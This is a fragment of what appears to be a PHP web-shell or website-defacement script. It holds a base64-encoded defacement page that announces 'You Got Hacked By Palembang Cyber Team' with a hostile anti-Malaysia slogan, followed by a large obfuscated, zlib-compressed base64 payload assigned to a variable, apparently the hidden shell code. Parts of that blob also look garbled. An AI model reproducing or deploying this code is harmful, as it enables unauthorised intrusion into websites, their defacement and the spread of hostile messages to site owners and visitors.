m1hcmdpbi1ib3R0b206IDVweDsNCmNvbG9yOmJsYWNrOw0KZm9udC13ZWlnaHQ6IGJvbGQ7DQpiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTsNCmhlaWdodDoyMHB4Ow0Kei1pbmRleDogOTsNCn0NCi5ncmVlbkJveHsNCnBhZGRpbmctbGVmdDogM3B4Ow0KcG9zaXRpb246IGFic29sdXRlOw0KaGVpZ2h0OjIycHg7DQpib3JkZXI6IDFweCBzb2xpZCAjMjhGRTE0Ow0Kei1pbmRleDogOTsNCn0NCi5waWN6ew0KcG9zaXRpb246IGFic29sdXRlOw0Kd2lkdGg6NTAwcHg7DQpoZWlnaHQ6ODAlOw0KZGlzcGxheTpub25lOw0KcmlnaHQ6MnB4Ow0KdG9wOjJweDsNCn0NCjwvc3R5bGU+PC9oZWFkPjxib2R5PjxkaXYgY2xhc3M9InhCb2R5IiBpZD0ieEJvZHkiPg0KPGRpdiBpZD0ic3NoIj4NCjxkaXYgY2xhc3M9InNzaEJveCIgaWQ9InNzaEJveCI+DQo8ZGl2IGNsYXNzPSJzc2hIZWFkIj4mbmJzcDtQYWxlbWJhbmcgY3liZXIgY29uc29sZTwvZGl2Pg0KPGRpdiBpZD0iMXNzaCI+DQombmJzcDtbcm9vdEBidCF+XSM8c3BhbiBpZD0ibXl0ZXh0MSI+IHNzaCByb290QGxvY2FsaG9zdCAtcDEzMzcgIDwvc3Bhbj48YnI+DQo8ZGl2IGlkPSJzc2gyIiBjbGFzcz0ic3NoIj4mbmJzcDtbcjAwdEBidCF+XSMgZW50ZXIgcGFzc3dvcmQ6PHNwYW4gaWQ9Im15dGV4dDIiPiAqKioqKioqKiogPC9zcGFuPjwvZGl2Pg0KPGRpdiBpZD0ic3NoMyIgY2xhc3M9InNzaCI+Jm5ic3A7W3Jvb3RAbG9jYWxob3N0fl0jIDxzcGFuIGlkPSJteXRleHQzIj5MYXN0IGxvZ2luOiBjX3RpbWUgPC9zcGFuPjwvZGl2Pg0KPGRpdiBpZD0ic3NoNCIgY2xhc3M9InNzaCI+Jm5ic3A7W3Jvb3RAbG9jYWxob3N0fl0jIDxzcGFuIGlkPSJteXRleHQ0IiBzdHlsZT0iY29sb3I6I0MwNDQwMDsiPlN5c3RlbSBmYWlsdXJlIDwvc3Bhbj48L2Rpdj4NCjwvYnI+IDwvYnI+DQo8ZGl2IGlkPSJzc2g1IiBjbGFzcz0ic3NoIiBzdHlsZT0iZm9udC1zaXplOjI4MCU7IiBhbGlnbj0iY2VudGVyIj48c3BhbiBpZD0ibXl0ZXh0NSI+WW91IEdvdCBIYWNrZWQgQnkgUGFsZW1iYW5nIEN5YmVyIFRlYW08L3NwYW4+PC9kaXY+DQo8YnI+DQo8Y2VudGVyPkdPIFRPIEhFTEwgTUFMQVlTSUEgISEgPGJyPjwvY2VudGVyPg0KDQoNCjwvYm9keT4NCg0KPC9odG1sPg=="; // "Deface Page" Base64 encoded "You Just Got Hacked !!"
$bhrt = "eNrsfXl72kjy8N+e59nv0NGwAdaYG5+BjA8cO8HGNjjO4Tw8AgkjW0iyJIyd2byf/e3qQ2odHHZgNvvbSWYC9FFdXV1dXd1dXfXmrTWw/vHbH47qdobyjdbr3I9MV3U69shwtaGayqd3/vGb2e04rmy7Kfih2rZpd2zVMm1XM25oCQIAKnR0bai5LFEztA7OSCWH8mNHfVR7I1czDVIumQkVMUeuNXI73VG/r9oYLiug9VOJzrt6+6sk96Cy9A1Vq0hSRkPrYE9K/+O3P//x20rCUfV+NdFp1S8+1i++SmdHZ/h741D6hiGsYBCaA20kOvvN5ofj+tek0nVU+0G1k9/SGMQKwFhJKLKroiqCj5T0eW24pkiAAeSw4jjXgyHxRNoIFBo5kSKQ5BewZMcJFYAkv4AhD1VSAHqcpL+TLHf45NzrR7Kh6FCE/Or0TMNQey5KeShmEEOEfAHotA8ERF8jdaUDTL011twa6bcULFSNKZLFDdJiib6FofRNSzVSpHhGGkt+M/2RQYYKjW0NkxIqy2kEOYTOKze62ZV1hKGQKqQOrsVK960MreFn/oB/ntthWh4zBi7eUbop1hc2oq7c1VXHo+P9SLWfUEpqHTWvUHt3r1FvsQ6NB0CzVELzyvZVtzfoyLYtP6UYnLTYPVI0oX1NtkleRzM6ySxrnQ7lSqJnq5TZoiBjENq/qO+26xQvJGUTWpoRh5GMQvua3KdQSbvJb1lph/UBz497PdrXeqO+30b/QocXzRMKlpbW+ohhYYyGHdscOykAgDtJO+jRBGeFuoBTQmVX+ibGqjdgxWUHJW5RtYYSd36RFcj6mrj9BryZlLIUour0ZEvFggekQQqXz+K8HVblB/ukFJCOT/HUb6Pj03YTkx593G1c1lspKasNLd1UcIGMhNkDt4KBpD2yMCg/PB4j3NvTTQd617d8lh6osqLaKWnfNFzVcNcONMcyHQ24fBvJros7OMTpOwhmAwx0VUJZROZGegchFAej/WSpuLJl6VpPBkg5xRwbuilzsROu0FCNG3ewjQA0QHa07yqdf4wf+vrIGaTE+R6ep0iyg3z9qq+afdLXtM/Bam9goj4eNoVMR7ReqZTWGc3ENn4gn2CUXpCAKYn/+8dvia7cu+MTtmNVJfX0Xr/MF87G33dPHj727/vjW/3uzlK2ykf13S/tg3f10/399/vF3oXdLhxcftm/eri9v6vs5vo9p3Rxc1O4uct/emwYZ+1c1zFO1/P2l8/uQPnglh8+tE73Vysl576xvpvf2x+d7Nc/rNe1z1q5WSlefmmd79+1j+7M/XcnJ+qHu1xD7yr3yurHsvJYvm0NRhuqunF2nm8r+yfn9sFj+8PjsF2/Pyzunp6pucvVhns5bB0o+1ubt3L+9HNTLbjto9K5rai5obK5erDfvygM8rmD0cawvKmbxcbmmbJx+Liv3zcKhwf39+Zj70qtlw6PPw1P3+0dFRsnzf5oWBiOCvJ7917r7n8uP/Sc3P7N+u5+fn30wT1++LReWr1d3X88Uletu8bh4+Cye9fSVvecy5J6cO6MK3bXvOxh9hiq9s3nLxeVx4PPZ+ft4oF5aBibzfNj56FXHo2Lp5fr7caHs/a4ad4d5uuX7vv3N4ejil0e64eti3aueNn8boze95tm8W5VXx0o74yPw4fy3lA2HtfPq1WYcGwovZFUbZ0Npr5lj293z/uP/c0Du3cvly+v3ILS+HK5Yb8fnhbd06tP7UvLKVfu3ffax9N3/VKxtWU1e63d49Ld6fHGQ89Qtr4XuuYXffxZ6Z6bvUpF1798PhyUzcLRbnm46Wy8WzeKq3efPraOxkfD87J52j9ptKzWp8+NLa2/mVcuNu5GXz4/WFeFQr7xffj+5OxM2//85aOlj6z1wcVxbn/YKFbMsetsXmnfP160rrTjs7byJDvvjcLtnbE7LNqtW/lz/uRTTy6f7bnHuS9WW1vdH3zqaoP3ar1lmi3ry8PW1kN7f/dSG9+837LUjeL46W70sL5a/2jdfty9L96tF4cXN8Xx0eHJ7f47tWGdG/Jq48tAbqnn7tg+Pakc2Ku51YGxd3J/ftQcabur98Xz3u166fvJ5d2Ffrzae68/Dk6vPh+31Q+PN2N764NqGheKnC98dAryu4v75uVYvqq0B3tGay//+Pj9yBmOzUL/+9757WdTM0o39rl9cvv01Cp+wFPraL/y/vPjp4MvGzl397zcx31qHJ6Y90fDgtK9sO2B7FZK9vdP+VajeLjrDbRmKB3Q7Dq9qtT98v6iveWM68cH/Q+5y5xa/yhvXL3/kB/endknozvZ3K9bxmV78+DDxw+3H4rn+Uqje+IWP7z7Pi6tqncfzvNf+nfGZkntN0rtuyPzaHCx//lutfm0tdvOnTyMNw/3BgX9XPle+PzhfDA6eLKtR7WQs/KXe1fj2w9m5cPe+OGy4ZTU3rFV/q49yW2ncWesN7fGNycf7s1y5Wn/4cx9MI5O1u+a+e5d3bxvNvby/XGpvvlhaL7fc8/LjfeXmtPLl2+dL+/P89bDRbn3paI2TlZH68rVmb2Va92vPjSczU+lh/Pel/6od+y47z99vH93Ozr5WFy/29fftUYDdffpS3HQeri5+9I9yn+oFDatQeX2083IKnx82O/e6R/7n5rGp1Nz67LRbxz2jPcVrCE/6HalsLGft24uHo9Gyue7YaVR1D8c3R9/ypuj8eDj8cee01eKWvv86fAxd9BofDHK78uFsXy0eWGWipvf7Z59cnK02n68Wh1ffVHcxtHNl3LzxugV12/t/k3e1BRlfGkOz93H873S6t13e3dQutKGjc+4sbuzLfXxarCfPxv2jgbHW3dfNj6ca91D+fHi7v7g8fbCbG+dtS/ft+XzkqWvdz9fnt9uyko337hqv7/69MVwD5zvlwXrpNze+vih/Pj94HPdXG2Oi5e90eNYGcuDbvNpNb+/XnrIn52ON8/GZxE+soCPDh9am6e7Bydf+u7WwcPd6eXj1foAS7H+6rj7/uNRr3Kl6pfnuvKhMGyPesr61Va513ZHJdc6LRw8fmptVEpfToyny3fGw/q9nTOfGn3T+Ji//bCxcXD/ue3knPf65UP5+Lb7voL/W93rrZ4dfdytfN/PH18+jA8+fvru7m7dyAXdHpr19w8npY/v753h5t7g0yg3OrGK9XO1Ubg6aK23Pt619nLr7lb5/t7+0Go5+dWLB/n0+/1Z4yl/9HHglN/tH29pt+392+MPm+PL8/uHfOPDIHf7+R4vyBf64V2hnXfbcqNu3+KRPMwZNz1167755cruDq7k4+/mvday9fFo2N6U+wda+7KhXd5ubeZO3ZauaTf66dWo9KXxad+8umr2Nw7cz5f9yom639h6N9A/asM79bIim+rth93x1sXw88mZ0Vtv2/27R0XvfRxujbRHfeOsVf94eVp+VxyuGuODu09XuweP369Wb53eVWuz1c5vnJ6o68p9btM93Cq7hpF7bO03zyrK+ODTMH9aKZ4VDr/02vmL4+7DQDs0rMeu8rlZ2RpU6iNrI//wuW3e2O8O983GRm5r74YvEm9r//jtzVB1ZTRwXWtNvR9pD9WAtiOhHv1VlVz10c0N3KG+g3oD2ca7s+rI7a9tSrka1iHeuJqrq7WDgWxgbQNto70ntGvfjow3OZqDizg9W7Nc5GK4DNyt/CDTVAkX6A3U3p2qgAIk646KUfT2JSxrV9dRCjR3rPVgHQ2B3uvVYtXSf/pwXHuk/lBx4p8h2KA7YjUXpR5kG4H2n9/BH2+QYvZGoBZmb1S3rqvwde/pWMHb4SdcfJhMZ1Wa6mR1otvhaqurZC8Bihh6BoCv2resjxX7tuNpY17XnYE5PnFuUkPnhu2d8e4Y/4AOJ51hP+lthye2bdlqX3vEbT/I+gjTHtfqUL18YpW+puDyjvukq1kFq866/FRNdnWzd5ecXnGMG3OcaF3DNNQZVW9Nc6jLU6r+CHbeGljdLu3+yrP6DxVnEWCZ/Xgx2UMEGD7x/j+r+1Dt/0L3NaubRP/+N+K/H15CjP8DdBhbL+j32HopC8wjBWI7sAQRwMvP7P4kwPN0Jky6W9NZ4vSZTrrQ4kCWDbywjIZ/8fqAi8D0exE9h08/MTXGpq0AcX+RZeKn+vIzRJxFh5W/dLlYChkmDegy5Pxf2gFSeGYP/mOs9dwlcvaMXPnLFq1fcD5OXLfnXrwmd2pJy9dMhl7xlqI3ObqBIxs8KC3u73qOAxu7N6/W1mC/2TWVp4yrZNwBuUjombppb6PfDw/z+M8O2ZLhfScckm+jQtl63CEtaIY1crPdkYvYrg+ONm9sc2QoaxTE7/k8gwDZLM2DSqrg0VFtvC0tWI/IMXVNQb8X9uAvbUPe1jXjLoBVPg8QACvoypqi9kybHPpvAxU8bMeqdjNwt9dJUQJpYMK9ow9qCiTcBdXGLau0LgDMuo8uXcafiQghm081AmsoawYe1ZEIUCD3c+DJ2w+ao7l4sxrEbd3rORsn89HbnscM1D78DQwU0rWhOs8wrawNze9rtMiaLSvayNleJ+itjDXFHWyXaa/iSnjoOf9B/Aqb0/Cj956/PoK/7AD/4zfgZ9lW5SCOvMmS0GShsDOpB4V1+Cv2AAW6MJTtG81Yc00L9yJP0YtBfIPmxCX+oJKQTKQpsgwXyw6fsBKKyJU17hDyRyqf/yeAt2RF0YwbPHK4cxyb6cIO+WAVBtNHYhtIA9RBovjq9zFCSGgO0xzhFkka62HXdF1zuC00WSR/YuQJCmIxyOD/4zDZhL+kDVphba1G1htYZeAbEBE+qUFMjM3IQIYzteS3NHr9GkWTq9WhUkkliAECbJ1WSEszTFMSJtggSKe5A4lZqsB1N/4/hbHojOAmOZXOSFeaoZhjR/KNVVYSrfrZ7sVuu3mBASSvr5Pspp8C5BVYoqLZeLKZ9pNjqVg6m3ZVur6WPAML0CTgXBNNar+hGaPHQOu0GZo+sZFkLhlow9totm1Z01MJJcMq8RqCLU5VfaRX96EiuAq9fCbWEh3LtFKTUxK4J1VuAxDTHClkq+7INhCU5WqViGvftTpkY5xKDEzHzSSIrQkZ50wCLJnMkcvxRoneAI5fR7be0QyN2kut0N+YmUwL81MPc+j+5UWjedbu4I8MknAL27kcgS7NqHBRb19enLYvdk9bh/WLDCrMKH/Ubp/tXraPaAp86+ztto73Z1Q7bJ81jlvt5mnj8+w2LjFrn10d4I4Q0mwT0kQ7goK19punp/X9dvv4pN68bGeQR8oZmO0eN5qn9YuLpt97Yi7EyQ5WZlCFZsGRPku3bcMkGaAtFzcRjBkRmsiyNcNF0pse1lhVu/amW4PUOpi5YbG3T6+9CdtSFLMgRNCZrsp4yuwDa6D2AMxubKz5oiM8jMSMK/sm1629yTGo0o76qLkEKeAwxOZbPHp5AbsY9L7+v28ENkhC1NMxuatYzyNY79tYHGGhilqjXk91HHSlYf34Eo8Lwek1WPftvMlBTV4f5HL1WmKa3LVUI8MYXyaf36RlriVoTTYUdIabh+0KupZmwQXGmAmXFxCJ96ZL/5d8+hGqMcsTNtrhmduzZEPV55+83C6N1YPby50XT2q4A+OzepsYAwlgf41Z/l89cWOmxawZO3PKxs5Ywm0zp2twqqq9GVOVyZi/dLb+cpNVnKvO0xArBNAVA09PxYS9pqcNQCbeUKeSuYE5VHPJLC2YTeasUVfXeh24SM49dHOa0dNHiurkeqbR126yWIlJeuCyyf/3/x72RrquuppRgJ1xkioA84GfH3bx2bDJmfszWig9u4Ve7xngyy8hzkSwcOL7fHwnADuD4/fCsghMoBdfhGyHrh5RmJr1AnzH1tokHK/Y0aDzfKhd3byZC3TxheM1okc/UcjvyYnjCzGeC/bzUaanoPNBf/6EGw+Gs0BfDYaFl8DtzQH4+eRwRhaoJnPAfoH00TW8NswB+vmSp6vpuNSNMwfwykuBzwF7/YU0mQfvjRcxyTyQN58NmRzPzAF569mQZWWoGQRyFGDlJ6DFCbrygkW8AafZ5ktVipzSjcLceAmKoPZGQT1/lIfEbj9mIIZ3ayAkZF19sQI1cVAKL5BZqgtP0JwosNaw/3INj2ulMXDJ9X9poSOtYXLgbeXTRKDFJWu8xWWqvMXl67zFJSu9xYVrvcUFq73F5eq9xZcqvi8A+XOab3GJqm9xSbpvcZnKb3G52m9xWepvcWn6b3GZCnBxiRpwcakqcHGZOnBxmUpwcXlacHF5anBxsXpwcdGKcHEpmnBxsapwcYG6cHEpynBxCdpwcbHqcHGJ+nBxKQpxackKcWmZCnFp+QpxackKcWnhCnFpwQpxabkKcemlCvELxuznFOLSEhXi0pIU4tIyFeLSchXi0rIU4tLSFOLSMhXi0gIVYnJjODevLEIpLi1TKS4tUykuLU8pLi1PKS4tVikuLVopLi1FKS4tVikuLVApLi1FKS4tQSkuLVYpLi1RKS4tRSkuL1kpLi9TKS4vXykuL1kpLi9cKS4vWCkuL1cpLr9UKX4BTX9OKS4vUSkuL0kpLi9TKS4vVykuL0spLi9NKS4vUykuL/GUuLxUhbi8TIW4vEyFuLw8hbi8PIW4vFiFuLxohbi8FIW4vFiFuLxAhbi8FIW4vASFuLxYhbi8RIW4vBSFuLJkhbiyTIW4snyFuLJkhbiyYPW1slz1tfJS9bXyfJA/p75Wlqi+VpakvlaWqb5Wlqu+VpalvlaWpr5Wlqm+VpaovlaWqr5Wlqm+VpapvlaWp75Wlqe+VharvlYWrb5WlqK+VharvlYWqL5WlqK+VpagvlYWq75Wlqi+Vpaivq4vWX1dX6b6ur589XV9yerr+oLV1/Xlqq/ry9E115eoa64vSddcX6auub5cXXN9Wbrm+tJ0zfVl6prrS9Q115eqa64vU9dcX6auub48XXN9ebrm+mJ1zfVF65rrS9E11xera64vUNdcX4quub4EXXN9sbrm+hJ1zfWl6JobS9Y1N5apa24sX9fcWLKuubFgXXNjubrmxkuPSjeeD/Ln1NeNJaqvG0tSXzeWqb5uLFd93ViW+rqxNPV1Y5nq68YS1deNpaqvG8tUXzeWqb5uLE993Vie+rqxWPV1Y9Hq68ZS1NeNxaqvGwtUXzeWor5uLEF93Vis+rqxRPV1YzHqKw/W6bkPs2UDl3dTNA7rysqf7HMlQaJLga9SudtT1P7NQLu9GxqmdW877uhh/Pj0PV8slSvrG5tb0g6v5QC8VEoxMYZqeqj1bJMEQ07/q0Ad6qa9ogkW74n/ZCF+k0nE03ikUi+Q7Jsq2uCI+piuJIzRENckTafRP1GptOPnuUMI5emMuuCblXYqg6AGcabnl+MRhslnFkE9IVdbXfV+/Qiix72gQkVehgVZ9aiMRbOtFh+KqQT4Rs4khrJ9P1JH9oHaHbkNLLn9pEPNoAlatZBmY8JJJNt537trFAYi0HmIViheiBbn8BFA+5rQvonlq66tDVNQ8Wvez+A9lO1A9FcgQC6HvpiGujZAZ6bjqrbIWpBxlEqMbB03Rpz92uzLEGOUSWAl0QQ8wJ058h3Y3kVdRq4EnCPehTxGQguxxXips2arnYEYZNOBQbHD43rjoJWRMMPLPdWuSlmGeVZ6TedVAadRnHES7wwvB99xsq3KuGuQSPo4FbnDZqPRvGo093fbx83TDJqNZ9jJpV8jcTfq2iG/kHcCMOZI8C7ovpdUEtyA4jE9kF25Cx4fPYElDqyuOa7CSqT8gC7THTavQJS7lRXwb0g+IQwb/UY8wrNwBQNNUVRDQjQSMAtcjljEBBqt+WBPIvVW3hB/3Pw7BQvflFoAJMwJiXmQlLrmIwdO40pLtTc5qBGuhQXGUHO9phFiIaI9yiAOh2I1fFK6fisjl8GlyOU4dvibhzN4gGQk8KkCPrTRHEHLY+KxZ5CYCktFOA0kVJJNa+DMke4GY1uzqNkHu+3dvd1WXWLykUQ1lii5UU/VdceSe3h5rBbIL+aNvFphPt5xMvENXqU+0tfz/9ypXRs01CEI2oM9r1XgpA7uQgoF+stQpGI9FFAbEQAsbLNppxBfR2B9IIIdvq6uokBkcS9APIVGf1JYGajJZN2E0OcZETseGXwKAb046HQ5AKQ6Zr8TCp3uxwinoBhgTm2bEU1Iwjwqo4Gt9qtJMtne0glSBTLSmOmvKcJVhngy4IHUVhUE7t+rpRrL97yQyjXMVAE004R/F4ECTYY2ngdSsU08PCFwr0GqjVyVkDuJTGMfa0J31WuJSTOiBdrDVPIA1/Zn63WS1b9Ovk2mr6UaZL8ApdEwitJULHCFaVjg7IlY5AQW+CHMQyZDeBYTDVS0h/k07NkZholUT/kL7nSxneASBpQjLkwknugXAoETKgJJfgGuYAkFiNtkrwCboYnOu3obxBWhLc1lPVe0hwBDY80Qi2TG0l8Rh/GNsTVaQxNLv77x/AMjPtZ0qB80dax0Q2NcY5BYbW9EG5ieHhiYRa+NroMVxyBI3bwxR67SraEJ0/Erapg3qIlXn28itDc56DEdZuSvnz+/hhIWkGZVZSskr0oXJzIU4TF6W1vMmkxqv2RZJjLm59fkwGIs0DeeSrPpggctrG68AJxHlSBEgVgzgYpSM8QZ0YETRo4OHQ/oAoyLSbmelxAsXFVpg8Ni8IdPrAVhaGt1mofOISubxfRm4IThEMYj0vqU8WegJw3yhFEOqF5BtWsO1YuLvgxiUo98IdFLeEiuSXoE02ssyq0BJYguuilPhpGiUFrrg5rCahCP6YjpNBC/zAOiggv3VFCFGJQ8z+5Q+E0OJ7yx/HWGLlb++jJR4aKteygtTB9ceZ4S5zG8h6SX4mEpanMTVDQ6LOhfqG+bQ+RDlXg13vWf0tTCSbH6BFlr8FoSVnI8nKo+epN1Oa9IVJ0DrNNRxUL5KYxbvYE6nBNnWhYwWjQW89MNVmsfA//vYnBRh5b7NB8idSi6aFqAmkxYfy4cZmnMdKpjRdWrEtaY58E9rLpGtVcmgudQYf9W/rxTW1GTt2Qbo/aICQZnaA9EUFJ9/gHLLXqO90AJiJcQVoBJUkLR5Bssto1JQiUJZ6AG/ie5jTyxQiqwyFQ04pVlYqH4kEESHm2I6FFFfVl3VHZwydqJa6FIW3iAFjh8rHcx4BA0JADCslW2xg/1QgBnCAkXQDoAMocrMqA//O0QRLPCRLpR3d5YSfF1TYhcRrU4zU5+SwuRtTRb2J5AprDDEodG0Rx/e4WhvtIMrYMbS+FaDnB/xztWSxL44rBIp6ahips+RgqhyB/T4IX76mE1fOoNFRYrZqh4+HnBexgsKE83HP7yyULPkjAur4i8ozAI7kwdQSRXczo9WdfJDpMohZgrIHwKJkGHRBljqRmxuTRWaTzEMt4aKyBwa2pGCnjMz/3BWgX6QMspAV2Agxt+hdnxcLfRqmP44eIBRJ0nB+uuUVRZegRZMsX+MLswCKAZunD1ivmIpPV0VTbgB61NKSV2ZmZFqvs/7EzFGRROd2CPolh7OS/Em9dfLOZwEj6ye1he9eFCxjIt1aADLtlSmrISrsGZKcp9kEiuglKv+qrZBzikT6xcFosevKdQID1TyBfLPosgiy0tuAYHRfLYv/wgnEKKOzax7SGe8CSinjCxSb+89DTK5ZBqOCMMBrkD2UVjFeE1eoSH7AkN5Af8C3mh/gS11uzeQmg9uKXq4aHk8HYAHqa2gzAA1Nfg6BBGum/qWKl2kGY4mkKlJF5KVbk3wDofhyU7iH2nhGVXSIAzS8ezAyWzSRKSUUzJJkO3TqF+gnTNEUHL4Kf5fRy/LMNo4zq4830Noyv0OYMUE//Gv0a2o2F6ADfzWgKJI03wiyh27yQsD5NbBYJl8MIwtDD1Fazy4+Vfc3npkUHuVudpjX7Qf3Ej7kBFpq3daAYWml7XkOYgwxwjIhxxs2aoSYF/fAGNQlx2Y0aYLJejUwqneZvLxHcNZpChjtEXzdq1ewNMS7b1S0C3ie6CQEUhWyMCEHqZxRXpWoj7AfMPybQyZ2eAvFajM5MDyqAvx2e7F/tHxx/r29v7F/Xddp2K1vbFZV3UKhRNRSlp3xzpCqaFG2hB8ru98j8+ea6vY2ePMNJhjtz5uZnls1W0+Z+eWXivL0wrykA47RDkdHyTePYgyiokph1EneMcA8AA+jZK3KlP0lJmYhTFZ2P0g8ZlRZ7mtxK0qcCrVG+QSlh0GtPrPEt2IRYiqDlDJSWRIggX4ZdEoCYyzQqKppmZA1uaqDpPMtiVHETViylh0/xIQEdYLjMJl+4SEI2gDH8S4+offTbhM9JYIrT4g9frqI94i+OkkkCCjjXyV/4kaYdDgQ3GmCqyQir580d/bOOdF87P3HzXjL4u4x8gmtbLHQh5DqYJeBawdnETzpxFwxhBB6ZW24mixtSCcSCPiOYVfjboqwDq0HRVxRwbuglaBlFVwfLAH2MsLmXAC4nClxgnkHxnrLnAF6BVIU4s3EoP9pLJ8RiLK7zZYtseyieUk5IkK52VkJQFePjLWhO+8wb5ROliSXa3E4CqPxmPE6CSLIC6RjUzH3ptTuBE4UqiEPjEGEw+5qqPN2CDSH2GHs0k+JkiPpBgMVyndRyv784k2DTzp/oOQzIBOt4gBkdrXphgpDEJKMkL8oA5CyxYsWCNlgEUcqgJE9d7OYhY0TGUb7Re1zSH1HbJZ3eyGYTdACnRgYibqtO5sXqpkPAi9XbEFiFUtuXg7fxAdRhYoe3fZ/75x2++ZRXjOTIdFX8jXKX76LQXfx5klJjPC/jnJhi5anjvI5IJf7K9AZGcAMqp8p3iQNWpxY2UYTtcYR/mbSQlsu2BT9vsdcj3NItnH0AOEwhvmCxdxvslPOIZSQp0zq+DdQuKB7fzwmVjizItJ0XRJiqOI/fhoAZy/wzIcn8vScpk/GbIyPKSfwblKRAYilerbOMfzA6VRnSL51b/8I8kdiYUCez+3bhiwSESc34Ef9INqYco3/jPiWpgR784LPyt/Jx4hLh0gfTw2XhumnhVFk8XOkHmJQpRY+jZTyZpJ+MwIUd8wlEEsFM6WiymDeSdPvzBjh8m1GUIyUoWa1awA0lNYlqig/CjiSllfPLJSkyRHxMJvlZ4BrlFkTSb4pjIlmapTPxFC+SrNZqVhGJJMh6ZaLFCuNg4GUPSCYKBDiIeeI44WwUYbpkE/OtMYIM/QnxAv72YGUhTXwvfpnCE6zOEV3oSV3DNdGZB0nePhVgnZvKRuzA2Yl/Zh1ghFKYad/yAHkYqh3xtetEhOWtj+jE5L/Wyk3JcATaHZ6o91ByHYEqOQ3xl4h+/JSycC8cOkEG+szLkhpEeSNMir1H+cR8s38n1PfvK4OBdbMvs3akuW8/x9sUEG3gHjml+CGfbPqhdH9RuGNTTsGvqWg81sHobgqhPhrjpQ9wMQbxQb0a6bIdgrU2Gte7DWg/B2tNxT5FjqT1N1kMQu5Mhln2I5RDEA/88KABNmQyt6EMrhqDtD2Rb7rmqPQHH3mSoBR9qIQT18PiwiWAah6BZPjSh9KVxZ+AdZqjsKMnnEy7SHBtgZk8zs9UgIvkCtP4WYXGLtxF4oIAdJxTNb9Ki4zmKlqFoUAgES2yydsmOK/mYRGm0PU/5Fm+czhvcv3e2ObImY1Kcv3+F+fuX35zRv/Iz+1ee2L8r09aVKZiU5+5fvjh//woz+ldk+Lpz9o+Xbwf7x5cYQIMkUNEqCtcnvEZpli/6maEbtz69qJ802/XO7sHBheTdr/qX3gPrQbUF21XrAa//JBHkdEowGMBZkerCTjWEQPw+9q0k3jQn4ao5WWuesstlaTuYbasKzj085NmR5qndWKTzuG3VeEglKQlI1/3HWqHK8ExuEu04gLPmRTsZpR0CNc+vy699nWHgMYgzfCs1T9F2Cm0nUyh1YjouMvvkrPVQlV1yPj/WdB2dmi7w8t2rNKYD7vWk7pJnk7NQ3j04OT6NwZluuICbQhDwmHdG5IAtSik4KYmpEjnUJE9iGOck029TcYNdN4jKwoc0vZ2KGXOu2HilIiiZeGXR1XmQMnsaGIwsGyFiZDMPPgHrx2Uj5cyLlPPXIWXhGXCDuX4+zKybvwgtx+y7Y9mO4ykmTyQ2t1rNw/bV7kU9Boh3mu0L1L6tVLmJC8tlNvgJC2d5x0w5KQNl/Xc4Ca2a30lob8AUh+yIIBNsOAXdPWH0MXScA+8Ofd09YEKAE/BqM8B7XSzopX16ur8G1r/bSLYsrN6SR+I5E6tq7prj4l3xUJpYT1eNG3ewjaQsuQPEuKUAifTECnifgEdcgyZwe64r9wZDnL6DvIvVawlOXftKVrqWdiR+dbBCtj+y0ie3StAEWf9YDmYPl1kZRV7gHo2GsnGBq8KIH3pYwr/C6ZxwZTM0FawVgonDTjBjZGjkJpQPUhLhHfUe+rCHTvbQuz3U3kNne4FzETxw5GEttb2FJlGNNEDNb6ec9tHCuSotHdwQ+r/YqoJVOkOhXcqgIrmLRuRKkGDMmIHfvQS4fGCOD2ztQSV7xRAa3gqm6v1gn8hJpy0bN5gGu5gGX5JpcuKpAKj0tBNM764WSmaT29fXyfTs4xB4mhFOeyNzo3QMUGKGm6JtP6CNa77F2VUxnTYt4aYlsPZP1uJ38xOqxOMCxokxyQBijq19wLLtrmXBqTSTGFCCSp14NoYKHdd0Zb3jkHpYcKSpIAoMdN9W1SBgMm1mAIZaEbghFnIHmkNuCCzhqJ/dxg6fwIAySS9jCUNansVk8DY2cJ8BSaLSREweWduhRRZvJAMCWsgjBpyi9SYXkhH7TdGAkx9wTDDhRM+y4ZzLiDNqxYlmGF36dpyiPcEsS040vyknFaLcsJiTMtmi79T40pjMoD9CujVfC+l+hfQ/soTLmJ8GKrFzw6JthPmNnT/5DTXwqojJvEtKIl4qg8AkggjeDJa8KAoolWbtepCaYCNDjInBoDQjHFjBgWYHciAjXK2FVXloVyX3X5G6oOlDmyo5l+9Mh8AcSEwBwkqIcBJYLbfY6e9kUlLlkVgMEvc0HZgMnJoExNdvYOB38tS611FKysZWSKWzUlqa3EhQGYwCb7XOG5OrixpbpO4ZVf6mAsAa+xQITaL5SyHiUwdJmIX4M/oo9xAYaWFDm/TmFbfpftdo7u02Wl+TppP8BsdPyYZmjB6T/IWQ3yDWJ13bhK16hgk9CatRKKe6vdy/1mwVK1+OKqU9fxheRS53aVG4dxorhEvg9JxmpZJiHt4zP+EtYuipAsusfQX7+m+wHEnbScNM8kvrCe05AxkrofHtsbxwe7/DC4ceeeGQvEldS2TBaJum7lxLGXQtkbr0K4VwLaXnwKvZQnynmGHGJwFD2GQOTuJz3m4yAoCMAHksNwkAIKY5zkjNGmDtEYFwNVCx6NQcdKba+ltvIPHqhdNxsqWCgcCUak/uwDTiKpKMaVVver2Yejh1WiUq/mLq0YyYqvtnl0JxwqCEqj1rxARHhF12T/wKoA2gtWFMsROsf4I9Ij34D7YAZO87eBbG1LuEN80NbYiVVL/WSIcEtCb7FcR/QXXwZ6YnRJPfvFm5Qvz49Ec6lg/s9gtImUnq5F/6Fc+y5FC+gzsx4tYnSYYXf9DByiTtUfcJf7gyltrJG7DszCS7/kcRfxoEkom7CWCckaZQHvEcviigIts+GnfyA1QzlRJU7yo9E3ajmeToAYwrAQYpoNhjtQvpeB0fwqd9N8AEVgGT3uDONk33TnPxD82izxrJ1/4Y0LU1a6zZBJ+BpuoK6S0IQwd85ECPHAP/wp+mg7Un6ICmOLIyhMo9EJA3UOZRU0jfbjAn9e7o17EMBkM488kZyg4kfh92MeIWQXw81HQg4Ni0h6w3hmbcyiI52IZXJX6PGE2IoU+GWSNlqNFUhhkQZahVDqY/KaOPrbWhBi8ufaAh0b2yErd2BqxQOXPAhkXDRbkaBpzlKbMkw8sRFhySw4EGGBnDDC8y4hozGzHGLYvE64CA/Em0hFFbKG4+3BkIemOc8wfZA3N0cIDIFsWXIEofrQ186SGUxeqGM219GJACfk3BLta/S/Kf4cU/7TqDxdi0FQRrI/K3BmwJlbL+8Sz3BZH8lpXeckJXJdDNvRP7q+PTg+MLCZe4vrZVS9bsa0ce4l3AxGdanLLkpQnBBPrr6fld8oAVpkzwUWF8b/aJ2zfSFwd3Zu7egH49pSf05LlUvCZ7a9u5xuS